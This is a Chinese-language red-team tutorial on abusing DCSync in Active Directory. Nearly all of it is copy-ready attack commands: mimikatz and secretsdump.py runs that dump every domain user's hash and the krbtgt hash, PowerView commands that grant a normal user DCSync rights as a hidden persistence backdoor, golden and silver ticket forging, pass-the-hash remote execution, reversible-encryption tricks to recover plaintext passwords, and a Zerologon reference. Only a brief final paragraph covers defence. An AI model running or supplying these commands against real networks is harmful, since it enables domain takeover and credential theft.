內網滲透 | 域滲透之Dcsync的利用實戰
Dcsync
在域環境中,不同域控制器(DC)之間,每 15 分鐘都會有一次域數據的同步。當一個域控制器(DC 1)想從其他域控制器(DC 2)獲取數據時,DC 1 會向 DC 2 發起一個 GetNCChanges 請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述過程。DCSync 就是利用的這個原理,通過 Directory Replication Service(DRS) 服務的 GetNCChanges 接口向域控發起數據同步請求。
新版本的 Mimikatz新增加了 DCSync 功能。該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。
當獲得了域內管理員權限,如果能修改域內普通用戶的權限,使其具有DCSync權限的話,那么普通域用戶也能導出域內用戶的哈希,這樣可以做一個隱蔽的權限維持。
默認只有域控主機賬號和域管理員能Dcsync,域管和郵件服務器的機器賬號有寫ACL的權限,可以給指定用戶添加Dcsync來dump域哈希。
對域對象只需要具備一下這兩個權限,就有dcsync的權限
‘DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 ‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

利用條件
1.域控本地管理組用戶(administrators,Domain Admins,Enterprise Admins的組內用戶)

1.域控制器的計算機用戶
2.拿下exchange服務器后可以WriteACL賦予指定用戶或域機器DCSync權限
利用方式:
擁有上述條件的任意用戶權限,即可導出域內任意用戶的hash
mimikatz
導出administrator用戶的Hash
privilege::debug lsadump::dcsync /domain:hiro.com /user:administrator

導出所有域用戶的哈希
privilege::debug lsadump::dcsync /domain:hiro.com /all /csv

后門利用
使用Empire下的powerview.ps1腳本執行以上三條ACE
DCsync是幾個權限的集合體,如果使其具有DCSync權限的話,可以向域內普通用戶添加如下三條ACE(Access Control Entries):
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
在域管用戶上給域用戶win7添加以上三條ACE
Add-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

當用戶win7具有DCSync權限后,可以導出域內哈希:
python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10

給域用戶win7刪除以上三條ACE
Remove-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

域用戶win7失去了DCSync,同樣也無法導出域內hash了

使用黃金票據+DCSync導出域內所有用戶的Hash
生成黃金票據:
得到krbtgt用戶hash
lsadump::dcsync /domain:hiro.com /user:krbtgt

導入黃金票據
kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

導出域hash
privilege::debug kerberos::list 導出所有用戶的哈希 lsadump::dcsync /domain:hiro.com /all /csv


哈希傳遞
python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e

Dcsync+可逆加密存儲密碼
Active Directory 帳戶有一項遺留功能,稱為“可逆加密”。通常,使用 NT單向函數對用戶密碼進行散列以創建 NTLM hash。NTLM hash無法逆轉,必須破解。
如果啟用了可逆加密,則用戶的密碼將使用加密存儲,這意味著可以將加密的數據還原回用戶的密碼。使用可逆加密存儲的密碼不是散列,因為可以調用函數來恢復原始明文密碼。
帳戶啟用可逆加密,帳戶的明文密碼不會立即可用;如果對帳戶啟用了可逆加密并且用戶在設置此配置后更改了密碼,則明文密碼將保存在 Active Directory 數據庫中。當用戶再次調用Dcsync后會顯示其明文。
勾選“可逆加密存儲密碼”這個屬性后,用戶再次更改密碼會顯示其明文密碼;將administrator設置為可逆加密存儲密碼

使用ldap條件勾選其使用可逆加密存儲屬性的帳戶
get-adobject -ldapfilter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))” Set-ADUser marry -AllowReversiblePasswordEncryption $true

更改administrator密碼,dcsync就能顯示其明文密碼
python3 secretsdump.py redteam.lab/administrator:Qq123456..@192.168.129.130 -dc-ip 192.168.129.130 -just-dc-user administrator

使用MachineAccount實現DCSync
MachineAccount是每臺計算機在安裝系統后默認生成的計算機帳戶
如果計算機加入域中,會將計算機帳戶的密碼同步到域控制器并保存在域控制器的NTDS.dit文件中
計算機帳戶的密碼默認每30天自動更新,密碼長度為120個字符,所以說,即使獲得了計算機帳戶密碼的hash,也很難還原出計算機帳戶的明文口令
關閉域內計算機帳戶密碼自動更新的兩種方法(適用于域內主機)
1.修改組策略
選擇Default Domain Policy
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

1.修改組策略的配置文件
Default Domain Policy對應的guid為31B2F340-016D-11D2-945F-00C04FB984F9
配置文件路徑為:
\\\SYSVOL\\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
修改文件GptTmpl.inf,在[Registry Values]下添加新的內容:
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

配置完成,將系統時間調快30天,hash保持不變
獲得MachineAccount口令hash的方法
1.通過本地SAM文件中讀取密碼哈希
mimikatz命令示例: privilege::debug token::elevate lsadump::secrets
返回的結果中,$machine.ACC項對應計算機帳戶,如下圖

2.使用DCSync導出所有帳戶的hash
(1)使用mimikatz
在域控制器上使用mimikatz導出域內所有用戶的hash
mimikatz.exe “lsadump::dcsync /domain:test.com /all /csv” exit
(2)使用 secretsdump.py
python3 secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1
secretsdump.py的實現原理:
使用計算機帳戶hash通過smbexec或者wmiexec遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的hash,同時通過Dcsync或從NTDS.dit文件中導出所有域用戶的hash。
3.通過CVE-2020-1472
CVE-2020-1472能夠在未授權的狀態下遠程修改DC計算機帳戶的口令hash
像服務器一樣,DC擁有一個帶有密碼的機器帳戶,該帳戶以加密方式存儲在注冊表中。引導時將其加載到lsass中。如果使用Zerologon更改密碼,則僅AD中NTDS密碼會更改,而不是注冊表或lsass中的密碼。利用后每當發出新的Kerberos票證時,DC無法使用lsass中的機器帳戶密碼來解密服務票證,并且無法使用Kerberos中斷身份驗證。
使用MachineAccount實現DCSync
例如,獲得了域控制器DC1的計算機帳戶口令hash為7da530fba3b15a2ea21ce7db8110d57b
1.使用mimikatz
這里需要制作白銀票據(Silver Ticket),接著獲得LDAP服務的訪問權限
mimikatz “kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt” “lsadump::dcsync /domain:test.com /all /csv” exit /sid表示域的sid, /rc4表示計算機帳戶的NTLM hash /user:krbtgt表示偽造成用戶krbtgt,生成票據
2.使用secretsdump
python2 secretsdump.py -hashes :e411580b657837aee7aaadb6e2a4449b redteam/DC1$@192.168.129.130 -just-dc-user krbtgt

注意:
1.secretsdump支持從域外的計算機連接至域控制器 2.如果使用域內普通計算機帳戶的口令hash連接對應的計算機,那么會失敗,提示rpc_s_access_denied
也可以通過 wmiexec.py 或smbexec.py遠程執行cmd命令 (server2016已經不能用機器賬戶進行認證登陸)
python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
防御
通過網絡監控檢測來自白名單以外的域控制器數據同步復制。 給域控設置白名單,只允許白名單內的域控IP發起數據同步請求。 利用AD自檢工具查看哪些域用戶有Dcsync的權限。